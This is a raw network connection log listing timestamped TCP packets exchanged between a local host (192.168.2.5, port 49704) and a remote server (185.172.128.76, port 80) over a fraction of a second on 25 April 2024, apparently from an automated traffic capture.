Apr 25, 2024 21:48:01.738346100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738424063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738457918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738464117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738495111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738547087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738580942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738609076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738641977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738704920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738738060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738753080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738785982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738823891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738863945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738889933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.738922119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.738996983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739007950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739032984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739095926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739134073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739201069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739237070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739245892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739288092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739289045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739319086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739356995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739392996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739552021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739588976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739628077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739661932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739746094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.739779949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.739973068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740014076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740328074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740365982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740391016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740425110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740578890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740616083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740679026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740691900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740714073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740731001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740760088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740792990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740928888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740942955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.740968943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740982056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.740991116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741002083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741023064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741025925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741035938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741056919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741071939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741105080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741123915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741156101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741183996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741218090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741239071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741276026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741276979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741307020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741343975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741377115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741463900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741477013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741513968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.741869926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.741911888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742325068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742366076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742389917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742429018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742572069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742613077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742618084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742630005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742650032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742666006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742691040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742702961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742714882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742723942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742734909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742738962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742749929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742772102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742799997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742814064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742825031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742831945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742835999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742842913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742856979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742871046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.742880106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.742914915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743042946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743077993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743170023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743204117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743238926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743273973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743298054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743329048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743338108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743360043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743365049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743402958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743428946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743441105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743460894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743474960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743530989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743565083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743755102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743767023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743801117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743886948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743900061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743931055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.743961096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.743993998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744020939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744052887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744074106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744111061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744126081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744148970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744163990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744183064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744198084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744232893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744383097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744405031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744425058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744437933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744509935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744543076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744559050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744591951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.744601011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.744625092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745537996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745582104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745583057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745613098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745636940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745697021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745722055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745755911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745780945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745791912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745811939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745825052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745826960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745847940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745866060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745878935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745892048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745904922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745924950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745940924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.745963097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.745994091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746005058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746017933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746037006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746052980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746062040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746077061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746098995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746118069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746126890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746138096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.746159077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.746174097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.782450914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.782500982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.782566071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.782577991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.782579899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.782634974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.782644987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.791657925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.791703939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.791784048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.791836977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.791873932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792057037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792109013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792135954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792171955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792197943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792212963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792233944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792254925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792256117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792289019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792331934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792346001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792356014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792366028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792368889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792381048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792395115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792411089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792426109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792457104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792479992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792490959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792511940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792527914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792550087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792581081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792722940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792757034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792778969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792792082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792809963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792824030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792838097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792871952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792872906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792897940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.792906046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792929888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.792968035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793004036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793024063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793056011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793070078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793102026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793116093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793148041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793167114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793200016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793229103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793240070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793262005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793276072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793288946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793332100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793378115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793402910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793411016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793432951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793447018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793476105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793479919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793509007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793509960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793541908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793561935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793592930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793620110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793632030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793649912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793665886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793673038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793704987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793730974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793764114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793872118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793884993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793905973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793920994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.793977976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.793988943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794011116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794027090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794115067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794148922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794168949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794204950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794270992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794282913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794307947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794334888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794369936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794395924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794429064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794454098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794465065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794487000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794502020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794507027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794519901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794538021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794553041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794627905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794646025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794657946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794667959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794671059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794680119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794696093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794706106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794720888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794728041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794744968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794764042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794766903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794791937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794799089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794815063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794863939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794886112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794920921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.794948101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.794981956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795001030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795012951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795034885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795047998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795082092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795082092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795083046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795118093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795133114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795165062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795205116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795244932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795327902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795363903 CEST	49704	80	192.168.2.5	185.172.128.76
